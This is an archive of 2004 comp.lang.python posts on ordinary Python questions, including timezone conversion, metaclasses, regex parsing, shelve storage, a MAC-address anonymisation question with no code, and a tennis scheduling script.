Message-ID: <caen22-k13.ln1@suse.zobbo.org>

Ville Vainio wrote:
>>>>>>"Ian" == Ian J Cottee <ian at cottee.org> writes:
> 
> 
>     Ian> Well this emacs user spent some time trying it (testing the
>     Ian> version 2 beta). It is nice but it's no emacs unfortunately.
> 
> A slight point of netiquette - please don't hesitate to quote the name
> of the thing referred to by "it", or write it out yourself if that's
> not possible :-).

Apologies - I was somewhat over enthusiastic in my previous post 
trimmings :). I see so many posts that quote reams of pointless previous 
text that I often seem to go too far in the other direction.

> Apart from that, I'd like to point out that pydev (Python plugin for
> eclipse) seems to be alive and well (i.e. they seem to be implementing
> new features) with the recent 0.6 version:
> 
> http://pydev.sourceforge.net/
> 
> Eclipse is where I think I'm going in my attempt to wean myself off
> emacs.

Yes, I played with pydev. One is almost tempted to learn Java in order 
to contribute. But I still can't believe that I will live to see the day 
that Emacs is surpassed ;-).

Ian


From jdhunter at ace.bsd.uchicago.edu  Thu Sep 16 09:42:08 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 16 Sep 2004 08:42:08 -0500
Subject: datetime and tzinfo
Message-ID: <m2oek6tjnz.fsf@mother.paradise.lost>


I am using the tzinfo classes from the datetime docs, eg UTC,
USTimeZone, and the instantiations Pacific, Central, Eastern, etc.  I
would like to take a datetime instance in the UTC timezone and
construct the equivalent in another time zone.

Eg, if I am given dt1 in the example below, and the timezone Central

  dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC())

I would like to construct the datetime instance dt2

  dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central)

which is the same time in a different timezone.

    >>> dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC())
    >>> dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central)
    >>> dt1-dt2
    datetime.timedelta(0)

I've read through the docs at
http://www.python.org/doc/2.3.2/lib/datetime-tzinfo.html but none of
the methods looked just right.

Is there an easy/right way to do this?

Thanks,
John Hunter


From webraviteja at yahoo.com  Wed Sep 29 20:35:21 2004
From: webraviteja at yahoo.com (Ravi Teja Bhupatiraju)
Date: 29 Sep 2004 17:35:21 -0700
Subject: Proposal for removing self - followup
Message-ID: <b74e43f1.0409291635.177308a5@posting.google.com>

>> Well make it three cents and do an implementation, if you really
care.
>> Otherwise, it's just words...

I can't post a reply to that thread in Google. So I am posting the
third cent here.

Here is my implementation of the PythonCOM style __private__ ()
attributes for Python.
http://aspn.activestate.com/ASPN/docs/ActivePython/2.3/PyWin32/html/com/win32com/HTML/QuickStartServerCom.html

After 

http://groups.google.com/groups?q=g:thl1572296058d&dq=&hl=en&lr=&ie=UTF-8&safe=active&selm=gStXc.29013%24DG.1381823%40news20.bellglobal.com

the only thing left was __private__

I have done very little testing and this is my first use of
metaclasses, so watch out.

It uses the bytecode hacking module from
http://bytecodehacks.sourceforge.net/

from bytecodehacks.code_editor import Function

class PrivateType(type):
    def __new__(cls, className, bases, classDict):
        if '__private__' in classDict and
len(classDict['__private__']) > 0 :
            # create a map of to-be-renamed functions
            private_map = {}
            for private_attribute in classDict['__private__']:
                private_map[private_attribute] = '_%s__%s' %
(className, private_attribute)
            
            def MutatedFunc(func):
                bytecode = Function(func)
                for iter, co_name in
enumerate(bytecode.func_code.co_names):
                    if co_name in private_map.keys():
                        bytecode.func_code.co_names[iter] =
private_map[co_name]
                return bytecode.make_function()
            
            # refactor references within functions
            func_type = type(lambda x: x)
            for attrib_name, attrib in classDict.items():
                if type(attrib) == func_type:
                    classDict[attrib_name] = MutatedFunc(attrib)
            
            # mangle private attributes
            private = classDict['__private__']
            for private_attribute in private:
                temp = classDict[private_attribute]
                del classDict[private_attribute]
                privatized_attribute = '_%s__%s' % (className,
private_attribute)
                classDict[privatized_attribute] = temp
            return type.__new__(cls, className, bases, classDict)
        else:
            return type.__new__(cls, className, bases, classDict)

class PrivateClass(object):
    __metaclass__ = PrivateType

if __name__ == '__main__':
    class Foo(PrivateClass):
        __private__ = ['private_func']
        
        def public_func(self):

            print "calling public func: ",
            print "public"
            print "calling private func: ",
            self.private_func()
        
        def private_func(self):
            print "private"
    
    foobar = Foo()
    foobar.public_func()
    #foobar.private_func()


From BrenBarn at aol.com  Sat Sep 11 12:27:51 2004
From: BrenBarn at aol.com (OKB (not okblacke))
Date: 11 Sep 2004 16:27:51 GMT
Subject: Nested class structures
References: <Xns95607B54E1208OKB@130.133.1.4>
	<WPSdnS4yN4xs3t_cRVn-jw@comcast.com>
	<Xns9560B1CD8670OKB@130.133.1.4>
	<chur3h$tk7$05$1@news.t-online.com>
	<1gjyg86.h447z2mlz6joN%aleaxit@yahoo.com>
Message-ID: <Xns956160462EB43OKB@130.133.1.4>

Alex Martelli wrote:
>>>> class outside:
> ...   anons=[]
> ...   class anon:
> ...     def method1(self): return 'the first'
> ...   anons.append(anon)
> ...   class anon:
> ...     def method1(self): return 'the second'
> ...   anons.append(anon)
> ...   class anon:
> ...     def method1(self): return 'the third' 
> ...   anons.append(anon)
> ...   del anon
> ... 
>>>> for c in outside.anons: print c().method1()
> ... 
> the first
> the second
> the third
>>>> 
>
>> The question is: _why_ do you want to do this? How do you want to
>> access the 
> 
> That is indeed totally mysterious to me.  I have a decent grasp of
> what can be done, but sometimes the deeper question of why anybody
> might ever possibly want to do it escapes me totally, and this is
> such a case. 

    	Well, I'm still experimenting with it, and partly I'm just playing 
around, but one possible thing I thought might come out of these nested 
classes is the ability to define a GUI with a syntax that mirrors the 
GUI's nested structure.  So each class in the tree there would represent 
some GUI component, and as the classes are created, some metaclass 
tinkering instantiates them, massaging information from the class def 
into the format required by the GUI library.

    	As far as the anonymous business, I'm beginning to think it may not 
be that much of a necessity, but: the idea is, suppose I'm defining a 
whole bunch of GUI objects like sizers or something.  It's tiresome to 
have to make sure they all have unique names, so I was hoping I could 
create some Python code that would generate the names for me.

    	Your code, of course, works great, but I am interested in subsuming 
the list creation and appending into the class definitions themselves, 
to avoid writing "anons.append(anon)" a bunch of times.  However, there 
doesn't seem to be any way for the metaclass of a nested class to get at 
the enclosing class namespace.  In fact, after looking at the docs some 
more, I see that this is an explicit exception to the normal scoping 
rules.  (The silver lining, though, is that it means I DON'T have to 
come up with totally unique names: they only have to be unique within a 
single enclosing class def, which makes it less of a burden to name the 
classes explicitly.)

    	Anyway, thanks for the help, everyone!

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From aleaxit at yahoo.com  Thu Sep  2 07:04:08 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 2 Sep 2004 13:04:08 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>
	<5zpZc.159384$UTP.106388@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <1gjhla2.1rt117fe9ofciN%aleaxit@yahoo.com>

Dan Perl <dperl at rogers.com> wrote:

> I found a small hole in the initial code suggestion and I fixed it.  Try and
> find the difference:
>     class test(object):
>         def __new__(typ, *args, **kwargs):
>             obj = object.__new__(typ)
>             obj.attr1 = 666
>             typ.__init__(obj, *args, **kwargs)
>             return obj
> 
>     class derived(test):
>         def __init__(self, arg1, arg2):
>             self.attr2 = arg1
>             self.attr3 = arg2
> 
>     d = derived(111, 222)
>     print d.attr1, d.attr2
>     print isinstance(d, test)
> 
> So, what do people think about it?  Alex, would this be good for a recipe in
> the Python Cookbook?

I might run it side by side with my custom metaclass, sure.  I'm not
sure why you're running typ.__init__ from within test.__new__ -- it
seems to me that will result in double-running cases.


Alex


From skip at pobox.com  Tue Sep 14 01:08:22 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Sep 2004 00:08:22 -0500
Subject: optimizing memory utilization
In-Reply-To: <pan.2004.09.14.04.38.02.647096@ymous.com>
References: <pan.2004.09.14.04.38.02.647096@ymous.com>
Message-ID: <16710.31942.531888.719580@montanaro.dyndns.org>


    anon> [[<Alb1ID#>, '<Alb1Artist>', '<Alb1Title>', '<Alb1Genre>','<Alb1Year>',
    anon>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]],
    anon>  [<Alb2ID#>, '<Alb2Artist>', '<Alb2Title>', '<Alb2Genre>','<Alb2Year>',
    anon>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]],
    anon>     ...
    anon>  [<AlbNID#>, '<AlbNArtist>', '<AlbNTitle>', '<AlbNGenre>','<AlbNYear>',
    anon>   [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]]

    anon> So the problem I'm having is that I want to load it all in memory
    anon> (the two files total about 250MB of raw data) but just loading the
    anon> first 50,000 lines of tracks (about 25MB of raw data) consumes
    anon> 75MB of RAM.  If the approximation is fairly accurate, I'd need
    anon> >750MB of available RAM just to load my in-memory database.

    anon> The bottom line is, is there a more memory efficient way to load
    anon> all this arbitrary field length and count type data into RAM?  

Sure, assuming you know what your keys are, store them in a db file.  Let's
assume you want to search by artist.  Do your csv thing, but store the
records in a shelve keyed by the AlbNArtist field:

    import shelve
    import csv

    reader = csv.reader(open("file1.csv", "rb"))
    db = shelve.open("file1.db")

    for row in reader:
        stuff = db.get(row[1], [])
        stuff.append(row)
        db[row[1]] = stuff
    db.close()

I'm not sure I've interpreted your sample csv quite right, but I think
you'll get the idea.  You can of course have multiple db files, each keyed
by a different field (or part of a field).

Obviously, using a db file will be slower than an in-memory dictionary, but
if memory is a bottleneck, this will likely help.  You can also avoid
initializing the db file on subsequent program runs if the csv file is older
than the db file, probably resulting in faster startup.

Skip


From abra9823 at mail.usyd.edu.au  Mon Sep 20 21:14:41 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Tue, 21 Sep 2004 11:14:41 +1000
Subject: MAC address
In-Reply-To: <414f7c66$0$60638$a1866201@newsreader.visi.com>
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
Message-ID: <1095729281.414f80818d6a4@www-mail.usyd.edu.au>

Quoting Grant Edwards <grante at visi.com>:

> On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:
> > Quoting Grant Edwards <grante at visi.com>:
> >
> >> On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:
> >>
> >> > its actually windows that i would like to find out about. what
> >> > i am trying to do is to anonymize client address by picking a
> >> > random MAC address and using that instead
> >>
> >> That's a pretty bad idea.  If you insist on doing it, read the
> >> Ethernet spec so you make sure you're picking a valid address.
> >
> > and why is it a bad idea?
>
> How are you going to avoid collisions?  I suppose it's a
> sufficiently slim probability you can just ignore it.
>
> > also, is there an alternative way to anonymize a client?
>
> Not really, but how could your MAC address be traced to you,
> anyway?

i suppose i should clarify again that the question is not in the context of
the Internet but a wireless LAN.
within a LAN, if i were to open a socket connection with a server and send
some data to it, the server would be able to pick up my MAC and IP
address.
so what i want to do is to anonymize the MAC by picking a random (but
valid) MAC address and using that. after that i will anonymize the IP.


>
> --
> Grant Edwards                   grante             Yow!  What's the
> MATTER
>                                   at               Sid?... Is your
> BEVERAGE
>                                visi.com            unsatisfactory?
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From aleaxit at yahoo.com  Thu Sep 23 07:58:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 13:58:03 +0200
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
Message-ID: <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>

Raymond Hettinger <vze4rx4y at verizon.net> wrote:

> [Tuang]
> > Does anyone (esp. Alex, if you're listening) know if there is an
> > update of Python in a Nutshell coming for Python 2.4?
> 
> I would say let the poor guy finish the Py2.4 Cookbook update first; afterall,
> he's only one man.  But now there are two Martelli's on the case, so you might
> be in luck ;-)

I have not yet negotiated with O'Reilly about a 2nd edition of the
Nutshell, but I do suspect they'll be quite happy letting me write one,
_after_, as RH says, the 2nd edition of the Cookbook (we're still
targeting March 2004 for that one).  Considering the times involved etc
etc, I believe it is out of the question for the 2nd edition of the
Nutshell to be in print in time for OSCON 2005 (==July 2005), alas.  So,
don't hold your breath: I believe it will be _at least_ a year from now
before you can buy the 2nd edition of the Nutshell in bookstores:-(.


Alex


From godoy at ieee.org  Mon Sep 20 17:46:55 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Mon, 20 Sep 2004 18:46:55 -0300
Subject: Tracking/Designing complex projects
Message-ID: <m31xgwfwa8.fsf@g2ctech.com>


Hi!


I'm interested about how you are dealing with large projects where you
have to track serveral classes, tie your GUI with the database, handle
some common situations from several places, etc.

How do you define the documentation for developing such a beast and how
do you keep track of classes, methods, etc. that do something?

Are you using UML?  Do you rely solely on package names and make those
as intuitive as possible (it should be done regardless of the complexity
of the system, I know, but for big ones it is even more critical)?

There are lots of tools that generate the skeleton of code for C, C++
and even Python (such as Umbrello) from UML diagrams.  Is this the best
way? 


TIA,
-- 
Godoy.     <godoy at ieee.org>


From nathan_kent_bullock at yahoo.ca  Sat Sep 11 00:54:56 2004
From: nathan_kent_bullock at yahoo.ca (Nathan Bullock)
Date: 10 Sep 2004 21:54:56 -0700
Subject: How do you make issubclass work
Message-ID: <52f8effc.0409102054.4bcaa426@posting.google.com>

Okay I have two files:

a.py:
-----
class cla_a(object): pass

class cla_c(object): pass

if __name__ == "__main__":
  mod = __import__("b")
  attr = getattr(mod, "cla_b")
  print issubclass(attr, cla_a)
  print issubclass(cla_c, cla_a)
-----

and b.py:
-----
from a import cla_a

class cla_b(cla_a): pass
-----

now if I do 'python a.py'
it gives me:
False
True

Why is cla_b a subclass and not cla_c?

I think that it has something to with the fact that cla_b is a
subclass of a different instance of cla_a or something like that. But
if that is the case how do I do this sort of thing in python?

Nathan Bullock

http://bullock.mooo.com


From adalke at mindspring.com  Fri Sep 10 03:01:07 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Sep 2004 07:01:07 GMT
Subject: Akward code using multiple regexp searches
In-Reply-To: <6aa0d.20922$2s.12692@twister.nyroc.rr.com>
References: <6aa0d.20922$2s.12692@twister.nyroc.rr.com>
Message-ID: <Tic0d.11947$w%6.10329@newsread1.news.pas.earthlink.net>

Topher Cawlfield wrote:
 > But a few times already I've found myself
> writing the following bit of awkward code when parsing text files.  Can 
> anyone suggest a more elegant solution?
> 
> rexp1 = re.compile(r'blah(dee)blah')
> rexp2 = re.compile(r'hum(dum)')
> for line in inFile:
>     reslt = rexp1.search(line)
>     if reslt:
>         something = reslt.group(1)
>     else:
>         reslt = rexp2.search(line)
>         if reslt:
>             somethingElse = reslt.group(1)

I usually solve this given case with a 'continue'

  for line in inFile:
      reslt = rexp1.search(line)
      if reslt:
          something = reslt.group(1)
          continue
      reslt = rexp2.search(line)
      if reslt:
          somethingElse = reslt.group(1)
          continue

Still more cumbersome than the Perl equivalent.

You could do a trick like this


import re

class Match:
   def __init__(self, pattern, flags=0):
     self.pat = re.compile(pattern, flags)
     self.m = None
   def __call__(self, s):
     self.m = self.pat.match(s)
     return bool(self.m)
   def __nonzero__(self):
     return bool(self.m)
   def group(self, x):
     return self.m.group(x)
   def start(self, x):
     return self.m.start(x)
   def end(self, x):
     return self.m.end(x)

pat1 = Match("A(.*)")
pat2 = Match("BA(.*)")
pat3 = Match("BB(.*)")

def test(s):
   if pat1(s): print "Looks like", pat1.group(1)
   elif pat2(s): print "no, it is", pat2.group(1)
   elif pat3(s): print "really?", pat3.group(1)
   else: print "Never mind."


 >>> test("ABCDE")
Looks like BCDE
 >>> test("BACDE")
no, it is CDE
 >>> test("BBCDE")
really? CDE
 >>> test("CBBDE")
Never mind.
 >>>

This is much more along the lines of what you want
but it conflates the idea of search object and
match object and makes your code more suspectible
to subtle breaks.  Consider

digits = Match("(\s*(\d+)\s*)")

def divisor(s):
   if s[:1] == "/":
     if digits(s[1:]):
       return int(digits.group(2))
     raise TypeError("nothing after the /")
   # no fraction, use 1 as the divisor
   return 1


def fraction(s):
   if digits(s):
     denom = divisor(s[digits.end(1):])
     return int(digits.group(2)), denom
   raise TypeError("does not start with a number")


 >>> fraction("4/5")
(5, 5)
 >>>

But as a Perl programmer you are perhaps used to this
because Perl does the same conflation thus having
the same problems.  (I think.  It's been a while ...
Nope!  The regexp search results appear to be my
variables now.  When I started with perl4 all variables
were either global or "dynamically scoped"-ish with
local)



> I'm a little bit worried about doing the following in Python, since I'm 
> not sure if the compiler is smart enough to avoid doing each regexp 
> search twice:
> 
> for line in inFile:
>     if rexp1.search(line)
>         something = rexp1.search(line).group(1)
>     elif rexp2.search(line):
>         somethingElse = rexp2.search(line).group(1)
> 
> In many cases I am worried about efficiency as these scripts parse a 
> couple GB of text!

It isn't smart enough.  To make it that smart would require
a lot more work.  For example, how does it know that the
implementation of "rexp1.search(line)" always returns the
same value?  Or even that "rexp1.search" returns the
same bound method?

				Andrew
				dalke at dalkescientific.com


From john at grulic.org.ar  Wed Sep  8 09:08:38 2004
From: john at grulic.org.ar (John Lenton)
Date: Wed, 8 Sep 2004 10:08:38 -0300
Subject: %a format
In-Reply-To: <16702.1779.773067.819528@montanaro.dyndns.org>
References: <20040907182925.GA27643@grulic.org.ar>
	<16702.1779.773067.819528@montanaro.dyndns.org>
Message-ID: <20040908130837.GB4749@grulic.org.ar>

On Tue, Sep 07, 2004 at 02:07:31PM -0500, Skip Montanaro wrote:
> 
>     John> Is there any reason python's printf-style formatting is missing
>     John> the (C99) '%a' specifier?
> 
> I suspect because nobody's implemented it yet, most likely because nobody's
> needed it.  (Yours is the first mention I've seen of it.)  Python's C
> implementation currently supports C89, not C99, and since %a is apparently a
> new thing, it's not all that surprising the Python doesn't yet support it.
> Can you provide a patch against Objects/stringobject.c in the distribution?
> Note that Python uses sprintf() to do its dirty work, so any patch would
> have to implement %a itself to remain compatible with C89.

is remaining compatible with C89 a requirement?

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
El palo dado... ni Dios lo quita. 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/cfe14ebb/attachment.sig>

From this at is.invalid  Thu Sep 16 19:24:03 2004
From: this at is.invalid (Peter Isselstijn)
Date: Fri, 17 Sep 2004 01:24:03 +0200
Subject: How to go about developing in zope
References: <4c900ea0.0409160754.2158e732@posting.google.com>
Message-ID: <nn7kk0hgbhihtdpqtpglsjf68us5rjn7k9@4ax.com>

john:
>What is the best way to develop such kinda application in zope?

I've found it helpful to forget about Zope, just design an object ori?nted
solution for the problem, ignoring persistence for the time being (no
object-relational mapping), map clean URLs to objects and methods, use
plain HTML as templates, and so on. Then, when you're done, you'll have a
perfect Zope application.

-- 
Peter


From peter at engcorp.com  Fri Sep 10 09:04:10 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 09:04:10 -0400
Subject: Can we use /MAKE inside the popen3 command?
In-Reply-To: <%qc0d.11951$w%6.7789@newsread1.news.pas.earthlink.net>
References: <82880e86.0409092112.2176b26f@posting.google.com>
	<%qc0d.11951$w%6.7789@newsread1.news.pas.earthlink.net>
Message-ID: <45Kdnf1wAO_XO9zcRVn-hA@powergate.ca>

Greg Krohn wrote:

> Here's a few free suggestions at no extra charge. You don't really need
> to use raw strings for Windows paths. Using forward slashed as always
> worked fine for me. 

There is one exception, and that is when the paths are being passed
to the command interpreter/shell.  As in this case.

-Peter


From peter at engcorp.com  Tue Sep 21 11:23:30 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Sep 2004 11:23:30 -0400
Subject: OT: regex to find email
In-Reply-To: <mailman.3647.1095778995.5135.python-list@python.org>
References: <mailman.3647.1095778995.5135.python-list@python.org>
Message-ID: <muqdnf7be4Xv2s3cRVn-qg@powergate.ca>

Josh Close wrote:
> I've been trying to find a good regex to parse emails, but haven't
> found any to my liking. I basically need to have
> 
> ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE )
> 
> but the first part can't start with .-_ and the last part has to have
> a . in it (first/last being before/after the @).

Ignore my response (which I cancelled so some folks won't see it
anyway).  'Twas bad advice; I didn't read the post. :-(

-Peter


From narshe at gmail.com  Tue Sep 21 11:03:03 2004
From: narshe at gmail.com (Josh Close)
Date: Tue, 21 Sep 2004 10:03:03 -0500
Subject: OT: regex to find email
Message-ID: <4a0cafe204092108038020f72@mail.gmail.com>

I've been trying to find a good regex to parse emails, but haven't
found any to my liking. I basically need to have

( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE )

but the first part can't start with .-_ and the last part has to have
a . in it (first/last being before/after the @).

Thanks.

-Josh


From charlotte at fgm.com  Sat Sep 25 17:47:38 2004
From: charlotte at fgm.com (Charlotte Henkle)
Date: 25 Sep 2004 14:47:38 -0700
Subject: Counter for items in lists in lists?
References: <d4eff00b.0409242217.224f86ef@posting.google.com>
Message-ID: <d4eff00b.0409251347.3cc02484@posting.google.com>

Ahhhh...thank you all!

Actually, I wanted to be able to count the items in the list to check
my thinking on a problem, and as it turns out, my thinking was
incorrect.  So I have a follow up question now ;)

Some background:

I was given a problem by a friend.  He is in a tennis group that has 6
members.  They play once a week for 10 weeks.  They were having
trouble generating a schedule that was random but fair (IE everyone
gets to play a base number of times , and the mod is evenly and
randomly distributed).

I decided that I wanted to abstract as much of the problem as possible
so that it would be reusable for other groups (IE to solve it for
games with N players, Y times over X weeks).  And then I decided I
wanted this to be my second program in python, so forgive my
clumsiness ;)

My first pass through was short and simple:  Figure out the total
number of games that will be played, and then use something like this:

gamePlayers=random.sample(templist, players_per_game)

to fill up all the game slots.  Neat, simple.

The problem I found with this solution was that it didn't give me a
weighted list for remainder.  The same person could get in all of the
"extra" games.

So instead I decided to fill games from my list of players by removal
until I had a number of players left less than a full game, and then
have a back-up list.  The back up list would act like a queue, but if
you were already in the game, it would take the next guy.  If you got
into a game from the back-up list, you were sent to the end of the
line.  My 2 lines grew to 50 plus ;)

Sadly, this isn't quite working either.  Now that I can print out the
players, I see that generally things work, but every once in a while,
I get an unexpected result.  For example, with 6 players, 10 weeks, 2
games per week, I would expect combinations of:

{'a': 13, 'c': 14, 'b': 14, 'e': 13, 'd': 13, 'f': 13}

(4 13s and 2 14s)

But sometimes I get:

{'a': 13, 'c': 14, 'b': 14, 'e': 14, 'd': 12, 'f': 13}

(2 13s, 3 14s and a 12)

That 12 breaks the planned even distribution. :(

I suspect the problem comes from the random pulling in the first part,
but I'm not sure.  I also feel that some sections (espcially the
print) don't have a "python-grace", so I would love some suggestions
to make them more...slithery?  :)

To make a long story longer, here's the code:

...#! /usr/bin/env python
...
...#A program to randomly fill a tennis schedule
...#
...#The original theory looked like this:
...#       gamePlayers=random.sample(templist, players_per_game)
...#       print gamePlayers
...#
...#But that didn't give a weighted list for extra games
...
...import random
...
...#Eventually these will get set dynamically
...number_of_weeks=10
...players=['a', 'b', 'c', 'd', 'e', 'f']
...games_per_week=2
...players_per_game=4
...games=number_of_weeks*games_per_week
...
...#this will be used to pull off "extra game" players
...backupList=players[:]
...random.shuffle(backupList)
...
...#a templist so we can modify it.
...templist=players[:]
...
...#our finished product:
...finishedList=[]
...
...while len(finishedList)!=games:
...	if len(templist)>=players_per_game:
...		gamePlayers=[]
...		while len(gamePlayers)!=players_per_game:
...			randomNumber=random.randint(0, len(templist)-1)
...			potentialPlayer=templist.pop(randomNumber)
...			gamePlayers.append(potentialPlayer) 
...		finishedList.append(gamePlayers)
...	else: 
...		gamePlayers=templist
...		print "I am the leftover game players", gamePlayers
...		print "I am the list of backup players", backupList
...		count=0
...		while len(gamePlayers)!=players_per_game:
...			print "I am a potential player"
...			potentialPlayer=backupList[count]
...			print potentialPlayer	
...			print "checking to see if I'm in the game"
...			if potentialPlayer not in gamePlayers:
...				print "I do not think the player is in the game"
...				print "I am the back-up list", backupList
...				potentialPlayer=backupList.pop(count)
...				gamePlayers.append(potentialPlayer)
...				backupList.append(potentialPlayer)
...				print "I am the back-up list after reorder", backupList
...				print "I am the gamePlayers after test and insertion",
gamePlayers
...					
...			else: 
...				print "I think that player is in the game"
...				count+=1
...		finishedList.append(gamePlayers)
...		templist=players[:]	
...
...#count the list (thank you, Steve!
...http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-8&threadm=dI85d.47490%24wV.31831%40attbi_s54&prev=/groups%3Fq%3Dcomp.lang.python%26ie%3DUTF-8%26hl%3Den%26btnG%3DGoogle%2BSearch
...
...def count(item):
...     if not isinstance(item, list):
...             return {item:1}
...     counts = {}
...     for i in item:
...             for key, ct in count(i).items():
...                     counts[key] = counts.get(key, 0) + ct
...     return counts
...
...def printList(weeks, games, list):
...	x=0
...	while x!=weeks:
...		y=0
...		print "Week: ", x+1
...		while y<games:
...			print "Game ",y+1, " players are ", list[y]
...			y+=1
...		x+=1
...
...#printing out and counting the final list
...
...printList(number_of_weeks, games_per_week, finishedList)
...print finishedList.count("a")


From bhk at dsl.co.uk  Wed Sep  1 19:43:03 2004
From: bhk at dsl.co.uk (Brian {Hamilton Kelly})
Date: Thu, 02 Sep 2004 00:43:03 +0100 (BST)
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
Message-ID: <20040901.2343.57633snz@dsl.co.uk>

On Wednesday, in article
     <10jc7cu7e57koaa at corp.supernews.com>
     wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan"
     wrote:

> There's a story about why railroad tracks are spaced the way they are.

Is this the one about two Roman horses' arses?  If so, it also accounts
for the physical dimensions of the Space Shuttle's boosters.

-- 
Brian {Hamilton Kelly}                                     bhk at dsl.co.uk
   "I don't use Linux. I prefer to use an OS supported by a large multi-
   national vendor, with a good office suite, excellent network/internet
   software and decent hardware support."


From zanesdad at bellsouth.net  Thu Sep 30 11:15:32 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Thu, 30 Sep 2004 11:15:32 -0400
Subject: File handling: The easy and the hard way
In-Reply-To: <pan.2004.09.30.13.56.48.18412@web.de>
References: <pan.2004.09.30.13.56.48.18412@web.de>
Message-ID: <415C2314.4020209@bellsouth.net>

Hans-Joachim Widmaier wrote:

>Hi all.
>
>Handling files is an extremely frequent task in programming, so most
>programming languages have an abstraction of the basic files offered by
>the underlying operating system. This is indeed also true for our language
>of choice, Python. Its file type allows some extraordinary convenient
>access like:
>
>    for line in open("blah"):
>        handle_line(line)
>
>While this is very handy for interactive usage or throw-away scripts, I'd
>consider it a serious bug in a "production quality" software. 
>
I disagree.  If you get an exception, you get it for a reason.  I'll try 
to elaborate more below.

>Tracebacks
>are fine for programmers, but end users really never should see any.
>  
>
Bushwa.  End users may or may not be able to make sense of them, but it 
doesn't mean they _should_ never see them.

>Especially not when the error is not in the program itself, but rather
>just a mistyped filename. (Most of my helper scripts that we use to
>develop software handle files this way. And even my co-workers don't
>recognize 'file or directory not found' for what it is.) End users are
>entitled to error messages they can easily understand like "I could not
>open 'blaah' because there is no such file". 
>
So, you're saying that dumping a raw traceback like:
IOError: [Errno 2] No such file or directory: '/foo/bar/bam'
to a logfile is a no-no?  Instead, it should say:

I'm sorry sir, but an error occurred when trying to write to file 
/foo/bar/bam because it wasn't there.

I think the traceback is perfectly understandable.  I think that even an 
end-user would be able to comprehend that type of message.  Or, if you 
get an IOError, is this not sufficient:
IOError: [Errno 28] No space left on device
?

Chances are, end users aren't going to be particulary concerned with 
exceptions you log - unless they've got a problem that they can't figure 
out.  And if they've got a problem they can't figure out, you'd be 
better off giving them as much information as you can give them, or 
they'll come to you for help.  And when they do come to you for help, 
you'd better make sure you've given yourself the most informatino you 
can to solve the problem.  So logging a traceback is a great idea IMHO.  
Now, in areas where you're dead sure that an exception is nothing to be 
concerned with, don't bother.  So, a good approach may be: handle the 
specific exceptions that you know may occur, let other unexpected (or 
expected in worst case scenarios) exceptions filter up to a higher 
level, log them there, and if need be, terminate program execution.

>Graceful error handling is
>even more important when a program isn't just run on a command line but
>with a GUI.
>  
>
Maybe so.  But if you hit an "Oh, crap, what do I do now?" exception, 
you may want to throw up a dialog box with a traceback or something and 
when the user clicks OK on it, terminate program execution.  That gives 
them a chance to (unlikely) figure out what they can do to remedy the 
situation, otherwise call for help.

>Which means? Which means that all this convenient file handling that
>Python offers really should not be used in programs you give away. When I
>asked for a canonical file access pattern some months ago, this was the
>result:
>http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D
>
>Now I have some programs that read and write several files at once. And
